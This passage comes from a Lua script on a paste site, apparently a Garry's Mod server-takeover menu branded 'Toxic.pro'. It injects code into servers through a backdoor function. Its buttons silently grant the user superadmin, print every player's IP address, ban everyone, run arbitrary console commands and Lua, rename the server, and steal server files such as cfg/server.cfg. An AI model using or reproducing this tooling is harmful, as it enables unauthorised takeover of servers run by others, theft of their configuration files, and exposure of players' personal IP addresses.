  1051. local id = ]] .. LocalPlayer():UserID() .. [[
  1052.  
  1053. timer.Create( "gotEm3?", 1, 120, function()
  1054.  
  1055. for k, v in next, player.GetAll() do
  1056.  
  1057. if v:UserID() == v then continue end
  1058.  
  1059. v:SendLua('RunConsoleCommand("act","dance")')
  1060.  
  1061. end
  1062.  
  1063. end )
  1064.  
  1065.  
  1066. ]] )
  1067.  
  1068. toxic.Notify( "Forcing all players to run act dance" )
  1069.  
  1070. end )
  1071.  
  1072. toxic.AddCategorySpacer( "Takeover", Color( 255, 150, 0 ), panel )
  1073.  
  1074. toxic.AddButton( "Give Superadmin", panel, function()
  1075.  
  1076. toxic.PostLua( [[
  1077.  
  1078. local id = ]] .. LocalPlayer():UserID() .. [[
  1079.  
  1080. Player( id ):SetUserGroup( "superadmin" )
  1081.  
  1082. ]] )
  1083.  
  1084. toxic.Notify( "Attempted to silently force superadmin." )
  1085.  
  1086. end )
  1087.  
  1088. toxic.AddButton( "Print All IPs", panel, function()
  1089.  
  1090. toxic.PostLua( [[
  1091.  
  1092. local id = ]] .. LocalPlayer():UserID() .. [[
  1093.  
  1094. for k, v in pairs( player.GetAll() ) do
  1095.  
  1096. Player( id ):ChatPrint( "Player: " .. v:Nick() .. " (" .. v:SteamID() .. ") IP: " .. v:IPAddress() )
  1097.  
  1098. end
  1099.  
  1100. ]] )
  1101.  
  1102. toxic.Notify( "Printed all IPs into chat." )
  1103.  
  1104. end )
  1105.  
  1106. toxic.AddButton( "Ban Everyone", panel, function()
  1107.  
  1108. Derma_StringRequest( "Toxic.pro Ban All", "Reason", "", function( text )
  1109.  
  1110. toxic.PostLua( [[
  1111.  
  1112. local id = ]] .. LocalPlayer():UserID() .. [[
  1113.  
  1114. for k, v in next, player.GetAll() do
  1115.  
  1116. if v:UserID() == id then continue end
  1117.  
  1118. v:Ban( 0, false )
  1119.  
  1120. v:Kick( "]] .. tostring( text ) .. [[" )
  1121.  
  1122. end
  1123.  
  1124. ]] )
  1125.  
  1126. toxic.Notify( "Banned everyone for '" .. text .. "'" )
  1127.  
  1128. end )
  1129.  
  1130. end )
  1131.  
  1132. toxic.AddButton( "RCON", panel, function()
  1133.  
  1134. Derma_StringRequest( "Toxic.pro RCON", "Command", "", function( text )
  1135.  
  1136. toxic.PostLua( [[game.ConsoleCommand( "]] .. tostring( text ) .. [[" .. "\n" )]] )
  1137.  
  1138. toxic.Notify( "Ran command '" .. text .. "'" )
  1139.  
  1140. end )
  1141.  
  1142. end )
  1143.  
  1144. toxic.AddButton( "Lua Run", panel, function()
  1145.  
  1146. toxic.OpenLuaEditor( frame )
  1147.  
  1148. /*Derma_StringRequest( "Toxic.pro Lua Run", "Lua String", "", function( text )
  1149.  
  1150. toxic.PostLua( [[RunString( ']] .. text .. [[' )]] )
  1151.  
  1152. toxic.Notify( "Ran Lua '" .. text .. "'" )
  1153.  
  1154. end )*/
  1155.  
  1156. end )
  1157.  
  1158. toxic.AddButton( "Rename Server", panel, function()
  1159.  
  1160. toxic.PostLua( [[RunConsoleCommand( "hostname", "TOXIC.PRO" )]] )
  1161.  
  1162. toxic.Notify( "Renamed server to TOXIC.PRO" )
  1163.  
  1164. end )
  1165.  
  1166. toxic.AddButton( "Steal File", panel, function()
  1167.  
  1168. Derma_StringRequest( "Steal File Source", "File Path (Relative to garrysmod/) e.g: cfg/server.cfg", "", function( text )
  1169.  
  1170. net.Receive( "file", function( len )
  1171.  
  1172. local str = net.ReadString()
  1173.  
  1174. if str != "ERROR" then
  1175.  
  1176. toxic.OpenTextDocument( text, str, frame )
  1177.  
  1178. else
  1179.  
  1180. toxic.Notify( "Unable to find file " .. text .. " on the server" )
  1181.  
  1182. end
  1183.  
  1184. end )
  1185.  
  1186. toxic.PostLua( [[
  1187.  
  1188. util.AddNetworkString( "file" )
  1189.  
  1190. local id = ]] .. LocalPlayer():UserID() .. [[
  1191.  
  1192. local f = file.Open( "]] .. text .. [[", "r", "GAME" )
  1193.  
  1194. if !f then
  1195.  
  1196. net.Start( "file" )
  1197.  
  1198. net.WriteString( "ERROR" )
  1199.  
  1200. net.Send( Player( id ) )
  1201.  
  1202. return
  1203.  
  1204. end
  1205.  
  1206. local str = f:Read( f:Size() )
  1207.  
  1208. f:Close()
  1209.  
  1210. net.Start( "file" )
  1211.  
  1212. net.WriteString( str )
  1213.  
  1214. net.Send( Player( id ) )
  1215.  
  1216. ]] )
  1217.  
  1218. toxic.Notify( "Attempted to steal file " .. text )
  1219.  
  1220. end )
  1221.  
  1222. end )
  1223.  
  1224. end
  1225.  
  1226. toxic.Init()
  1227. concommand.Add( "toxic.pro", toxic.UI )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement